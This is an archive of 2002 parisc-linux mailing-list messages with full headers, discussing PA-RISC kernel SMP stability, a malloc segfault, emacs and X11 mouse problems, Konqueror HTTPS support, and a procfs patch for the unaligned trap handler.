List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16220

Istvan Gyenes wrote:
> Thanks I'll try that!
> 
> Another question: If 2.4.19 SMP not enough stable where can I find the
> latest stable smp kernel source?

I'd advise using the 2.4.19 images uploaded by Bdale to debian.org.
Mostly because it's "fall-out-of-bed" easy to get matching source in
case you need to change something or want to try something out.

If that doesn't work for you, for A500, one of the better ones is:
	ftp://ftp.parisc-linux.org/kernels/a500/2.4.18-pa54.tgz

Look in kernels/32 or kernel/64 for other revs using default configs.

I'm convinced SMP instability is because of timing (race conditions)
and/or D-cache problems. My gut feeling if the 4-way associative
cache isn't getting flushed properly in all locations it needs to be.
I'm hoping someone who has more clue about VM and virtually indexed
caches could dig into this.

hth,
grant


From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] malloc limits
Date: Fri, 20 Sep 2002 22:46:12 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020921044612.A753D4829@dsl2.external.hp.com>
References: <20020920203724.GD24622@systemhalted> <200209210338.g8L3ccnN005029@hiauly1.hia.nrc.ca>  <20020921051417.P10583@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621747 14298 80.91.229.3 (22 Nov 2014 02:02:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:27 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 22:46:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A753D4829; Fri, 20 Sep 2002 22:46:12 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 21 Sep 2002 05:14:17 BST." <20020921051417.P10583@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16221

Matthew Wilcox wrote:
> On Fri, Sep 20, 2002 at 11:38:37PM -0400, John David Anglin wrote:
> > I thought there was a flat memory model.  If so, shouldn't it be possible
> > for the data section to expand past 0x80000000?
> 
> There is a flat memory model... libs are mapped at 0x4000'0000 so that's
> not it.  worth looking at /proc/$pid/maps for that process, maybe?

is 0x80000000 the address or the size?
If it's the size then you get up into 0xc0000000 (which is ok).
Getting up into 0xf0000000 - 0xffffffff address is not.

grant


From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] malloc limits
Date: Sat, 21 Sep 2002 01:24:54 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200209210524.g8L5OtNw006246@hiauly1.hia.nrc.ca>
References: <20020921044612.A753D4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621747 14305 80.91.229.3 (22 Nov 2014 02:02:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:27 +0000 (UTC)
Cc: willy@debian.org, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 23:25:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C28A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 23:25:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8L5Ou00006282;
	Sat, 21 Sep 2002 01:24:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8L5OtNw006246;
	Sat, 21 Sep 2002 01:24:55 -0400 (EDT)
In-Reply-To: <20020921044612.A753D4829@dsl2.external.hp.com> from "Grant Grundler" at Sep 20, 2002 10:46:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16222

> is 0x80000000 the address or the size?

It's the address of the next contiguous chunk.  This is roughly the sum
of the address plus the size of the chunk to be freed.  The segv occurs
loading the size of the next chunk using the address.

I haven't been successful debugging the code directly.  I can get the
code to seg fault by setting SIG37 to nostop noprint, but the debugger
seems to think the fault occurs following the INLINE_SYSCALL in
__sigsuspend.  However, the address points to an ldi instruction
which can't seg fault, so I don't know what's up.  The data that
I posted were from a core dump.

> If it's the size then you get up into 0xc0000000 (which is ok).
> Getting up into 0xf0000000 - 0xffffffff address is not.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alaskan@telusplanet.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Virus
Date: Sat, 21 Sep 2002 06:35:00 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <nnpoou03t1h9m1gm4v082o2pb0r2ot4ce0@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621747 14311 80.91.229.3 (22 Nov 2014 02:02:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 06:31:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from priv-edtnes04.telusplanet.net (fepout2.telus.net [199.185.220.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 510474829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Sep 2002 06:31:53 -0600 (MDT)
Original-Received: from win2kbox ([66.222.159.202]) by priv-edtnes04.telusplanet.net
          (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP
          id <20020921123145.PMF5777.priv-edtnes04.telusplanet.net@win2kbox>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 21 Sep 2002 06:31:45 -0600
X-Mailer: Forte Agent 1.92/32.570
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16223

On , you wrote:
It would seem that this user is CONSTANTLY spreading virii to this
mailing list.=20

Could someone remove this user from this listing please!

>Norton AntiVirus deleted the following email message because it was =
infected with a virus:
>
>From: ankurahmed <ankurahmed@hotmail.com>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] Fw: fad




From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] emacs: Unresolved inheritance operation
Date: Sat, 21 Sep 2002 18:51:53 +0200
Organization: private
Lines: 41
Approved: news@gmane.org
Message-ID: <3D8CA3A9.E3803D8F@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621748 14316 80.91.229.3 (22 Nov 2014 02:02:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:28 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 10:51:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 968184829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Sep 2002 10:51:57 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020921165154.LUIQ9517.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 21 Sep 2002 18:51:54 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16224

Hello PA-RISC experts !

I already have a problem with `emacs'.

When I start `emacs' on a HP machine (independen, if
it is a Apollo 9000/720/50 or the E55 server (9000/856)),
I get the error message:

Error: Unresolved inheritance operation

If I start `emacs' with an empty DISPLAY variable
(use without X mode), emacs work !!!
What is the problem here ?

Emacs version output:

GNU Emacs 20.7.2
Copyright (C) 1999 Free Software Foundation, Inc.
GNU Emacs comes with ABSOLUTELY NO WARRANTY.
You may redistribute copies of Emacs
under the terms of the GNU General Public License.
For more information about these matters, see the file named COPYING.


I use the debian SID distribution for months now, which
is always updated. I think the current setup is only
some weeks old !!

GLIBC is libc-2.2.5 

Whats the reason here.

Bye
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mouse stops working when exiting KDE
Date: Sat, 21 Sep 2002 15:03:17 -0700 (PDT)
Lines: 159
Approved: news@gmane.org
Message-ID: <20020921220317.3256.qmail@web12502.mail.yahoo.com>
References: <3D87BEBB.5080306@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621748 14322 80.91.229.3 (22 Nov 2014 02:02:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 16:03:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 6FBB94829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Sep 2002 16:03:22 -0600 (MDT)
Original-Received: from [24.197.205.90] by web12502.mail.yahoo.com via HTTP; Sat, 21 Sep 2002 15:03:17 PDT
In-Reply-To: <3D87BEBB.5080306@freebel.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16225

Hey all,

Currently when my system boots up the X11 login window starts up
automatically and I can log in and use it normally, but when I log out
the mouse quits working.  The X11 login window appears again, but the
mouse won't move anymore.  I'm just using a standard PS/2 HP 3 button
mouse - nothing fancy on my C180.  Also, why is it that Konqueror won't
do https sites?  And if it will what could possibly be the problem with
that?  Thanks.

### BEGIN DEBCONF SECTION
# XF86Config-4 (XFree86 server configuration file) generated by
dexconf, the
# Debian X Configuration tool, using values from the debconf database.
#
# Edit this file with caution, and see the XF86Config-4 manual page.
# (Type "man XF86Config-4" at the shell prompt.)
#
# If you want your changes to this file preserved by dexconf, only make
changes
# before the "### BEGIN DEBCONF SECTION" line above, and/or after the
# "### END DEBCONF SECTION" line below.
#
# To change things within the debconf section, run the command:
#   dpkg-reconfigure xserver-xfree86
# as root.  Also see "How do I add custom sections to a
dexconf-generated
# XF86Config or XF86Config-4 file?" in
/usr/share/doc/xfree86-common/FAQ.gz.

Section "Files"
        FontPath        "unix/:7100"                    # local font
server
        # if the local font server has problems, we can fall back on
these
        FontPath        "/usr/lib/X11/fonts/misc"
        FontPath        "/usr/lib/X11/fonts/cyrillic"
        FontPath        "/usr/lib/X11/fonts/100dpi/:unscaled"
        FontPath        "/usr/lib/X11/fonts/75dpi/:unscaled"
        FontPath        "/usr/lib/X11/fonts/Type1"
        FontPath        "/usr/lib/X11/fonts/Speedo"
        FontPath        "/usr/lib/X11/fonts/100dpi"
        FontPath        "/usr/lib/X11/fonts/75dpi"
EndSection

Section "Module"
        Load    "GLcore"
        Load    "bitmap"
        Load    "dbe"
        Load    "ddc"
        Load    "dri"
        Load    "extmod"
        Load    "freetype"
        Load    "glx"
        Load    "int10"
        Load    "pex5"
        Load    "record"
        Load    "speedo"
        Load    "type1"
        Load    "vbe"
        Load    "xie"
EndSection

Section "InputDevice"
        Identifier      "Generic Keyboard"
        Driver          "keyboard"
        Option          "CoreKeyboard"
        Option          "XkbRules"      "xfree86"
        Option          "XkbModel"      "pc101"
        Option          "XkbLayout"     "us"
EndSection

Section "InputDevice"
        Identifier      "Configured Mouse"
        Driver          "mouse"
        Option          "CorePointer"
        Option          "Device"                "/dev/psaux"
        Option          "Protocol"              "PS/2"
        Option          "Emulate3Buttons"       "true"
        Option          "ZAxisMapping"          "4 5"
EndSection

Section "InputDevice"
        Identifier      "Generic Mouse"
        Driver          "mouse"
        Option          "SendCoreEvents"        "true"
        Option          "Device"                "/dev/input/mice"
        Option          "Protocol"              "ImPS/2"
        Option          "Emulate3Buttons"       "true"
        Option          "ZAxisMapping"          "4 5"
EndSection

Section "Device"
        Identifier      "Generic Video Card"
        Driver          "fbdev"
        Option          "UseFBDev"              "true"
EndSection

Section "Monitor"
        Identifier      "Generic Monitor"
        HorizSync       30-60
        VertRefresh     50-75
        Option          "DPMS"
EndSection

Section "Screen"
        Identifier      "Default Screen"
        Device          "Generic Video Card"
        Monitor         "Generic Monitor"
        DefaultDepth    8
        SubSection "Display"
                Depth           1
                Modes           "1024x768" "1280x1024"
        EndSubSection
        SubSection "Display"
                Depth           4
                Modes           "1024x768" "1280x1024"
        EndSubSection
        SubSection "Display"
                Depth           8
                Modes           "1280x1024"
        EndSubSection
        SubSection "Display"
                Depth           15
                Modes           "1024x768"
        EndSubSection
        SubSection "Display"
                Depth           16
                Modes           "1024x768"
        EndSubSection
        SubSection "Display"
                Depth           24
                Modes           "1024x768"
        EndSubSection
EndSection

Section "ServerLayout"
        Identifier      "Default Layout"
        Screen          "Default Screen"
        InputDevice     "Generic Keyboard"
        InputDevice     "Configured Mouse"
        InputDevice     "Generic Mouse"
EndSection

Section "DRI"
        Mode    0666
EndSection

### END DEBCONF SECTION


derek


__________________________________________________
Do you Yahoo!?
New DSL Internet Access from SBC & Yahoo!
http://sbc.yahoo.com


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] malloc limits
Date: Sat, 21 Sep 2002 16:33:52 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20020921223352.C64324829@dsl2.external.hp.com>
References: <200209210524.g8L5OtNw006246@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621748 14323 80.91.229.3 (22 Nov 2014 02:02:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:28 +0000 (UTC)
Cc: willy@debian.org, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 16:33:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C64324829; Sat, 21 Sep 2002 16:33:52 -0600 (MDT)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
   of "Sat, 21 Sep 2002 01:24:54 EDT." <200209210524.g8L5OtNw006246@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16226

"John David Anglin" wrote:
> It's the address of the next contiguous chunk.  This is roughly the sum
> of the address plus the size of the chunk to be freed.  The segv occurs
> loading the size of the next chunk using the address.

I'll assume this is happening on the A500 (PA2.0) and wonder if it's
a signed/unsigned bug. Look closely at how PA2.0 extends register
values and make sure code is treating addresses and sizes as unsigned.


> I haven't been successful debugging the code directly.  I can get the
> code to seg fault by setting SIG37 to nostop noprint, but the debugger
> seems to think the fault occurs following the INLINE_SYSCALL in
> __sigsuspend.  However, the address points to an ldi instruction
> which can't seg fault, so I don't know what's up.

Not all instructions trap precisely. FP ops definitely do not and
I thought a few others didn't either.

I'm wondering what happens when unaligned access should segfault.
Does the unaligned code handle check for that?
I'll take a quick look at that code path.


thanks,
grant


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Sat, 21 Sep 2002 16:42:28 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020921224229.EE9AB4829@dsl2.external.hp.com>
References: <20020921220317.3256.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621749 14326 80.91.229.3 (22 Nov 2014 02:02:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 16:42:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id EE9AB4829; Sat, 21 Sep 2002 16:42:28 -0600 (MDT)
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Sat, 21 Sep 2002 15:03:17 PDT." <20020921220317.3256.qmail@web12502.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16227

Derek Engelhaupt wrote:
> Currently when my system boots up the X11 login window starts up
> automatically and I can log in and use it normally, but when I log out
> the mouse quits working.  The X11 login window appears again, but the
> mouse won't move anymore.  I'm just using a standard PS/2 HP 3 button
> mouse - nothing fancy on my C180.

Known problem. I don't know if this bug is parisc specific.

> Also, why is it that Konqueror won't do https sites? 
> And if it will what could possibly be the problem with that?  Thanks.

apt-get install kdebase-crypto

(IIRC, it was Ryan Murray of debian.org who told me that)

grant


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Sat, 21 Sep 2002 16:20:18 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20020921232018.GA29388@tausq.org>
References: <20020920203724.GD24622@systemhalted> <200209202046.g8KKkGwj019921@hiauly1.hia.nrc.ca> <20020920205012.GF4909@tausq.org> <20020920205518.GB25844@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621749 14327 80.91.229.3 (22 Nov 2014 02:02:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:29 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 17:19:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC3224829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Sep 2002 17:19:04 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 12E68CD83C; Sat, 21 Sep 2002 16:20:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020920205518.GB25844@systemhalted>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16228

> Would be nice to have a proc interface for this.
> I would like to do consecutive testing with it 
> enabled and disabled.

ftp://ftp.parisc-linux.org/patches/unaligned-procfs.diff

legolas:/home/randolph# cat /proc/sys/kernel/unaligned 
Unaligned trap handler is enabled
legolas:/home/randolph# ./t; echo $?
0
legolas:/home/randolph# echo 0 >> /proc/sys/kernel/unaligned 
legolas:/home/randolph# cat /proc/sys/kernel/unaligned 
Unaligned trap handler is not enabled
legolas:/home/randolph# ./t; echo $?
Bus error
138
legolas:/home/randolph# echo 1 >> /proc/sys/kernel/unaligned 
legolas:/home/randolph# cat /proc/sys/kernel/unaligned 
Unaligned trap handler is enabled
legolas:/home/randolph# ./t; echo $?
0

